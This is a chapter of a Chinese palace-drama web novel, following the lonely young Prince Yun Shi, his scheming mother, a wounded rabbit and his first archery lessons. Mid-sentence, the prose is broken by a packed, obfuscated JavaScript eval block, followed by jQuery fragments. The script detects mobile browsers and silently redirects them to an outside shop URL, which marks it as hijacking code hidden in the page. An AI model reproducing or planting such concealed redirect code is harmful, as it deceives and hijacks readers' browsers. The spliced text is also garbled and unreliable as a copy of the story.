“那是元天皇退居后宫执政的第七年,四皇子七岁,还是个刚刚开蒙的孩童。”
当时的元明皇虽然在一众的声援中登上了大统,但管理统治江山的实权仍然在退居幕后的元天皇手中。
四皇子云莳因为前一天课业被罚的缘故心情不好,便跑到了御花园的水池边喂鱼。
那天天朗和睦,鸟语花香,到处都充斥着盛夏季节生机勃勃的盎然样子。
一株株连翘盛开在池塘的一旁,佻垂的枝干一绺又一绺往着深不见底的碧绿池塘边伸去。
而幼小的云莳就那样的站在离着池塘不远处突出的一块小崖石上,一点又一点的掰下自己从母亲那里偷来的糕点,往那池塘里扔去。
池塘的游鱼见着有食物到来,争前抢后的纷纷去夺那不常吃到的物件,星星点点间,五颜六色的池塘不时溅起一浪浪轰隆轰隆的水花。
“四殿下,该回书房了。”一个太监的声音在他的身后响起。
那太监约莫只有二十多岁的年纪,面容虽然不算清秀,但也算板正。
他是云莳的母后李贵妃身边的亲信,自云莳出生起就被安排在他身边伺候着他。
夏天闷热,那太监已然陪他在这里待了有些许的时间了,闷热的汗珠因为衣服的厚重而不断渗出,但他不敢抱怨些什么,只是擦了擦额头上渗出的液体,瞅了瞅天上太阳的方位,这才开口提醒道。
只是这话说完,云莳却一时间并没有回话。
他仍在那里自顾自地掰扯着自己手里的糕点,干净柔嫩的双手因为糕点的油腻而染的有些发亮。
那娇贵的桂花糕在他的拉扯下掉了一地的碎末,只是那些碎末既不前进掉进水里,也不沾染在他的身上分毫,就那样处在了一个不动不停的位置上。
“陈伴伴,你说我现在喂的这些鱼,他们认得每天都喂他们的是谁吗?“
他的语气清晰,但仍然带着一些他这个年纪孩童的懵懂。
那被他称作陈伴伴的太监,听到他这么说,立刻微笑着往前走了两步,低声说:“殿下,鱼儿虽蠢,不学识人之礼,但应该也有感恩之心。”
听到这个回答,云莳却并没有反应,而是仍在掰着那手里仅剩不多的糕点。
“那为什么母妃说,畜生就是畜生,养不熟的白眼狼,就算怎么喂都喂不饱?”
他转过头来,懵懂的看着眼前已然有些脸色苍白的太监继续说:
“母妃昨天晚上又处理‘猫儿’了,那个‘猫儿’叫的好惨,叫到半夜都没有停,可母妃好像没有听见一样,她说:‘畜生就是畜生,不管怎么喂,都不知道感恩。’”
他忽闪着那一双葡萄般明亮的大眼睛似乎是不知道这句话的意思。
陈太监一时之间被云莳的这段话给吓的浑身颤了一下,他条件反射般的立马伸手去捂住了云莳还要说话的嘴,只是心脏却因为狂乱而疯狂跳动着。
胆战心惊的又往着四周看了又看,发现并没有什么人经过之后,这才慢慢的将手从云莳的嘴上拿了下来,哑着嗓子低声说道:“四殿下,这话可不能乱说,乱说可是要掉脑袋的。“
他的冷汗在这个已然炎热的夏日整个的冒了出来,身体是因为惊慌而不停的轻颤。
“四殿下,贵妃是贵妃,她养的‘猫儿’如果不听话,就是要处置的,您的母后在这后宫位高权重,只要不过分,不触了那位的逆鳞,想做什么,都可以。”
“那我呢?”
云莳手里掐着剩下的半块糕点,有些迷茫的看着陈太监。
“如果我喂养的猫儿或者其他宠物也喂不熟,他们不认识总是来喂它的人是谁,我应该怎么处置?”
这话算是彻底地问到了陈太监。
他皱着眉看着眼前的皇子,一时间不知该如何回答:“那便殿下喜欢如何处理就如何处理吧。”
憋了好一阵,他才终于憋出了这样的一句话来。
只是云莳似乎对这个回答并没有感觉到太大的触动,他的面上无悲也无喜,而是转头又往那池塘里继续掰扯着糕点。
游鱼们惊动的声音更大了,你来我往间,似乎云莳给它们带来的吃食有多么的美味,以至于每条鱼都在欢欣雀跃。
“殿下,该温习了。”陈太监提醒的声音又一次传来,只是这次云莳却有了反应。
“哦。”
他停下了手中仅剩下的投掷,两只漂亮的大眼睛空洞的看向那水池里欢腾雀跃的不像样子鲤鱼,不知道在想些什么。
但看了没一会,云莳似乎是感觉到失去了喂鱼的乐趣,他将剩下的糕点整个的都扔进了池塘里,“扑通”一声,溅起了一个小小的水花。
“畜生就是畜生,没有心的,养不熟。”他轻轻的说了这样一句话,然后跟着陈太监一起离开了这池塘边。
过了一段时日,太学开始放暑假了。
云莳是个内敛的性子,平日的他深居在李贵妃的寝殿之中,很少出门。
一日,大皇子从外面抱来了一只雪白的兔子,说是给他解闷玩的小玩意儿。
大皇子云翼与云莳相差六岁,母妃来自外族,是因为和亲来到的南朝,因此平日里大家都与他疏远许多。
但偏偏这位大皇子继承了他那个母亲开朗活泼的性格,大大咧咧的,从不把别人的疏远和不亲近当回事,而是自顾自地愿意与他人交谈。
身为外族人之子,他在皇宫中的束缚就没有其他皇子那么多,平日里嬉笑打闹又或者出门围场狩猎是常有的事。
元天皇知道一个女子远嫁和亲本就不易,她原本应该能够在自己的草原上驰骋翱翔的,现在却被困在了幽幽后宫,虽然平时安插的眼线和监管未曾少过,但这些年来,却未曾发生过一次她与外族之人里应外合企图扳倒南朝的事情发生。
因此多数时候,元天皇对着大皇子的事情便睁一只眼闭一只眼,都依着他。
今日打猎之时,云翼射箭射中了一只兔子,原本想像平日里一样当作猎物剥皮吃肉的,但骑马凑到那兔子面前之时,却发现这兔子受的伤并不重,只是伤到了腿,又看到它因为恐惧而瑟缩的样子,云翼一时间便想到了平日里自己见过的云莳,他立刻便改了主意,让人将它救治包扎,抱回了宫中。
兔子很温顺,红眼睛湿漉漉的,长耳朵耷拉着。
云莳抱着它,能感觉到它小小的身躯在自己的掌心里颤抖。
“老四,这兔子受伤不重,但也要悉心照料,否则也是会死的。”云翼叮嘱道。
云莳初看到兔子十分高兴,只是感谢的话到了口中,却一点都说不出来,腼腆的点了点头后,便回到了自己的屋子里。
从那时起,云莳单调的日子有了盼头,他每日做完功课,便跟着兔子玩耍,那兔子也在他一日又一日的精心照顾下逐渐痊愈了。
只是他没想到的是,这一切都被李贵妃看在眼里。
她看着那雪白绒毛的兔子,又看着因为兔子的伤势逐渐痊愈而渐渐有点活气的自家儿子,眼睛里是挥之不去的阴霾。
南朝虽然是个重视文治的国家,但皇子中,六艺的射御也都是必要的学习功课。
但云莳是一个不愿与他人交谈的性子,再加上他身体瘦弱,每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488185|202111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次的靶场射箭都会让他惹了一身的伤病回来。
因此没了法子,李贵妃便在自己的宫中给他设置了一个小型的靶场,供他练习。
这事虽然引起了后宫内院的轩然大波,但因着李贵妃在宫中的权势,再加上有着元明皇愿意出面压制请愿,靶场的事还是定了下来。
“不过是一个靶子,一把弓再加上几个弓箭而已,她们有什么好大惊小怪的?”
晚饭之时,李贵妃嘲讽着那些白日里弹劾自己的后宫妃嫔,并没有将她们放在眼里。
她伸手从一盘清蒸鱼上拾取了一筷子鱼肉放在了沉默的云莳碗里,对他轻轻说道:
“莳儿,你要记住,这后宫,你要会抢,你要会夺,这样你才能拥有你想要的东西,别人才能听话,你是主人之时,别人才能是仆人,这要是主次颠倒了,那今日受苦挨骂的可就是咱们娘俩了。”
她一边说着,一边抬头看了看一旁丫鬟手里抱着的兔子,漂亮的眼神里闪过的是一丝不易察觉的锋芒。
靶场搭好的第二日,教习武艺的侍卫便来到了李贵妃的寝殿。
他见着云莳,匆匆抱礼,然后单膝跪地,递给了云莳一把小弓,“四殿下,听说您学习射箭的时间不长,所使长弓不应该过重,这把弓是臣从库房中特意挑选的,希望能合殿下心意。”
云莳从那侍卫的手里接过了弓来,入手微重,但仍能接受。
那弓的弓臂被打造的光滑圆润,弓弦弹力有佳,是把极好的利器。
侍卫见云莳接过了弓,他也不再犹豫,立刻便取了自己的弓来,一点一点的开始教着他如何将箭搭在那弯弓之上,又是如何用力,将箭射飞出去。
“搭弓,拉,射箭。”
“手臂要与箭保持平行,不能偏离。前端食指与拇指当作箭台,向后轻轻拉弓然后射飞出去。”
只一下,那侍卫便射中了简易靶的靶心,然后他又一脸期待的看着云莳。
只是云莳确实可能不是一个当作武将的好材料,他在那侍卫一脸的期待和教授下向着那红色的靶心射了五根箭,可不凑巧的是,每一根箭都软软的落在了离着他们很近的地方。
那侍卫看到最后或许是再也有些按捺不住,他凑上前去,站在云莳的身后,整个人庞大的身躯笼盖住了云莳。
他将自己的两个大手分别捏住了云莳的两只小手,毫不费力拿着他的手搭在了弓上和弦上,带着他把那长箭射了出去。
箭头正中靶心,而不止是靶心,那箭也射在了云莳的心里。
云莳从幼时起便少有人拥抱他,他的母亲似乎对于他的存在除了争夺皇位的竞争品之外,便再无他想。
所以小小的云莳小时想要求得安慰之时,得到的永远是李贵妃冷冷的目光。
而且他身边的那些太监和宫女都谨遵着李贵妃的命令,对他毕恭毕敬,不敢有过多的触碰,所以从小到大,云莳都没有得到过亲密的接触。
而刚才那侍卫突然过来的搂抱,坚硬的带着茧子的硬手握着他柔软的小手,突然的异样感让他的心瞬间软的漏了半拍,他甚至都没有任何察觉,那手中的弓箭就自己的飞了出去。
身后的温暖和安全让他的大脑一阵空白,直到耳朵边一股热闹而大声的欢呼传来,他才有了半刻反应:“四殿下,您看,您射中了。”
他偏头看了看那男子高兴的嘴脸,然后又转头看了看那箭靶上射中的箭,迟钝的喜悦慢慢涌上心头,嘴角嵌起了一抹微笑,只是不知道这笑是因为自己射中了靶子还是因为别的什么。
就这样,他一连学了五天的射击。